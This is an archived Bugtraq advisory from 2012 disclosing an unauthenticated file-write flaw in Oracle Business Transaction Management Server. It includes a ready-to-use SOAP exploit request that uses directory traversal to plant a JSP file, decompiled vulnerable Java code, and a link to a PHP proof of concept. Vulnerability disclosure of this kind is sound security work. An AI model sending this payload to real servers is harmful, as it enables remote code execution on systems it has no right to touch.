lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201208071100.q77B0c0q000488@sf01web3.securityfocus.com>
Date: Tue, 7 Aug 2012 11:00:38 GMT
From: nospam@...il.it
To: bugtraq@...urityfocus.com
Subject: Oracle Business Transaction Management Server  FlashTunnelService
  WriteToFile Message Remote Code Execution

Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService 
WriteToFile Message Remote Code Execution Exploit

tested against: Microsoft Windows Server 2003 r2 sp2
                Oracle WebLogic Server 12c (12.1.1)
                Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)

files tested: 
oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic)
download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html              

BTM_Servers_12.1.0.2.7.zip (BTM, production version) 
download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html


vulnerability:
the mentioned product installs a web service 
called "FlashTunnelService" which can be reached
without prior authentication and processes incoming
SOAP requests.

It can be reached at the following uri:
http://[host]:7001/btmui/soa/flash_svc/

This soap interface exposes the writeToFile function
which could allow to write arbitrary files on the target
server.

Example packet:

POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/writeToFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.0.1:7001
Content-Length: [length]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
   <soapenv:Header/>
   <soapenv:Body>
      <int:writeToFileRequest>
         <int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp">
            <!--Zero or more repetitions:-->
            <typ:text>[code]</typ:text>
            <!--Optional:-->
            <typ:WriteToFileRequestVersion>
               <!--You may enter ANY elements at this point-->
            </typ:WriteToFileRequestVersion>
         </int:writeToFile>
      </int:writeToFileRequest>
   </soapenv:Body>
</soapenv:Envelope>

the 'handle' property can be used to control the location
of the newly written file (it suffers of a directory traversal ulnerability).
File extension can also be controlled.
File content can be controlled through the 'text' element (note that one
must convert the code to html entities firstly, the soap interface
will reconvert it to his original format).

Given this, a remote attacker, could place an arbitrary jsp script
inside the main web server root path, then execute arbitrary code
with the privileges of the weblogic installation, usually Administrator
privileges).

vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class

..
public IWriteToFileResponse writeToFile(IWriteToFileRequest request)
        throws SOAPFaultException
    {
        WriteToFileResponse wtfr = new WriteToFileResponse();
        String handle = request.getHandle();
        TypedList text = request.getText();
        if(text != null && text.size() > 0)
        {
            File f = getFileFromHandle(handle);
            if(f != null)
                try
                {
                    FileOutputStream fos = new FileOutputStream(f);
                    OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
                    int i = 0;
                    for(int ii = text.size(); i < ii; i++)
                    {
                        String s = (String)text.get(i);
                        osw.write(s);
                        osw.write("\n");
                    }

                    osw.close();
                }
                catch(IOException ex)
                {
                    logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString());
                }
        }
        return wtfr;
    }
..

As attachment, proof of concept code written in php, launch from the command line, modify for your own use.

poc: http://retrogod.altervista.org/9sg_ora.htm

rgod

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ